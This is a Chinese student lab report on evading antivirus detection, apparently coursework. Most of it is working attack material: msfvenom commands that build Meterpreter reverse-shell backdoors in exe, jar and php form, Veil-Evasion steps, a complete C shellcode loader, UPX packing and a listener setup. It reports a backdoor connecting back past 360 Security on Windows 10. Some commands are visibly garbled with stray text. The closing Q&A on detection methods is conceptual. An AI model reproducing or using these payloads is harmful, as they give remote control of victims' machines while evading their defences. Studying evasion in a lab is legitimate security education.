1.实验内容及基础知识
1.1 实验内容
- 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧。
- 任务二:通过组合应用各种技术实现恶意代码免杀。
- 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
1.2 基础知识
恶意代码监测机制:
- 基于特征码的检测:简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
- 启发式恶意软件检测:典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
- 基于行为的恶意软件检测:从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
免杀:
- 指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
2.任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧。
2.1 正确使用msf编码器,生成exe文件
- 在实验二中已经生成的后门程序 20174323_backdoor.exe ,使用 VirusTotal 这个网站进行扫描,扫描结果如下:
- 由此可见不加任何处理的后门程序能够被大多数杀软检测到,接着使用msf编码器对后门程序进行一次到多次的编码,并进行检测。
- 生成一次编码的后门程序:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.2.125 LPORT=4323 -f exe > encoded1.exe
- 生成十次编码的后门程序:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.2.125 LPORT=4323 -f exe > encoded10.exe
- 由此可见,多次编码对于免杀没有太大的帮助。
2.2 msfvenom生成jar文件及其他文件
- 输入指令apt-get install ufw msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.2.125 LPORT=4323 x> 20174323jar.jar,生成jar文件。
- VirusTotal检测结果:
- 输入指令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.125 LPORT=4323 x> dwt_backdoor.php,生成php文件。
- VirusTotal检测结果:
- 还可以生成jsp文件、apk文件等等...
2.3 使用veil-evasion生成后门程序及检测
- 使用,进行veil的安装。
- 安装成功
- 使用sudo运行veil,输入use evasion,命令进入veil-evasion。
- 输入指令
use c/meterpreter/rev_tcp.py
,进入配置界面。
- 输入 set LHOST 192.168.2.125,设置反弹连接IP地址。输入 set LPORT 4323,设置端口。
- 使用generate命令生成文件,接着输入生成的playload的名称
veil20175317
,保存路径为/var/lib/veil/output/source/veil20175317.exe
- VirusTotal检测结果:
2.4 使用C+shellcode编程生成后门程序
- 输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.125 LPORT=4323 -f c,生成shellcode。
- 创建20174323.c,将buf添加到代码中。
ufwunsigned char buf[] = "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30" "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff" "xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52" "x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1" "x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b" "x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03" "x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b" "x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24" "x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb" "x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c" "x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54" "x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8x7ax88" "x68x02x00x14xc5x89xe6x50x50x50x50x40x50x40x50" "x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5" "x74x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67" "x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxff" "xd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00" "x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56" "x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58" "x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5" "x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85" "x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1" "xc3xbbxf0xb5xa2x56x6ax00x53xffxd5"; int main() { int (*func)() = (int(*)())buf; func(); }
- 输入代码i686-w64-mingw32-g++ 20174323.c -o 20174323.exe,生成exe可执行文件。
- VirusTotal检测结果:
2.5 加壳工具
- 输入指令upx 20174323.exe -o 20174323pro.exe,对20174323.exe加壳。
- VirusTotal检测结果如下,可以发现加壳以后能够检测出的杀软少了。
- 使用实验二的方法测试,在 msfconsole 里监听本机端口号,反弹连接成功。
2.6 其他方法
- 采用Veil-Evasion的其他荷载生成后门方式
- 进入evasion,使用list查看可用的有效荷载:
- 我选择的是第32个荷载,是Python下shellcode在DES下加密一种。
- 输入option,查看有效荷载的选项。
- 修改用户名后使用
generate
生成,选择shellcode平台时选择2:msfvenom,payloads与IP、端口号使用tab自动获取。
- 输入生成文件的文件名,选择Py2Exe生成exe文件。
- 之后,生成的rc文件放入了路径
/var/lib/veil/output/handlers/
中,可执行文件放入了/var/lib/veil/output/source/
3.任务二:通过组合应用各种技术实现恶意代码免杀。
4.任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
(任务二和任务三放在一起做)
- 使用Msfvenom生成raw格式的shellcode:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=192.168.145.128 lport=4323 -f raw -o 20174323.raw
- 打开msfconsole进行监听,输入以下指令:
use exploit/multi/handler //监听设置payload set payload set payload windows/meterpreter/reverse_tcp //使用与生成后门程序一样的payload set LHOST 192.168.2.125 //Linux端的IP地址 set LPORT 4323 //与之前输入的端口号一致 exploit //开始监听
- 在另一台正常开启杀软的Windows命令提示符输入: shellcode_launcher.exe -i 20174323.raw
- 观察到成功回连,杀软没有查杀,且shellcode_launcher.exe和20174323.raw通过检测。
- Windows版本:Windows 10;杀软:360安全卫士11.4.0.2003
5.基础问题回答
5.1 杀软是如何检测出恶意代码的?
- 特征代码法:该方法是目前杀毒工具中必备的组成部分。
- 校验和法:文件完整性保护,主要用于检测系统文件是否被篡改。
- 行为监测法:监测恶意代码执行时的行为特征,可以识别恶意代码的名称或者是种类,也可以检测未知的恶意代码。
5.2 免杀是做什么?
- 免杀是可以使杀毒软件无法检测到其为病毒程序,从而可以使其“正常运行”。
5.3 免杀的基本方法有哪些?
- 采用不同的编码方式,或者编码次数。
- 对编码后生成的文件进行加壳,加压缩壳或者是加密壳。
- 还可以使用反弹端口,一些防火墙不会对本机发出的请求进行过滤。
5.4 开启杀软能绝对防止电脑中恶意代码吗?
- 开启杀软并不能绝对防止电脑中恶意代码,不过及时更新杀软,少打开不安全的链接、少下载盗版软件,还是能大大降低中招的几率。
6.实验心得
这次的实验还是很有意思的(但是装veil的过程十分艰辛...),虽然对一些现有平台的依赖性很强,但却是一个良好的开端,能够为我们进一步深入研究免杀提供思路。打造免杀软件的过程也增加了危机意识,杀软杀不出来不代表绝对安全,所以平日要提高安全意识,不要随便在网上下载可执行文件,也不要点击可疑链接,尽量减少被植入后门的可能。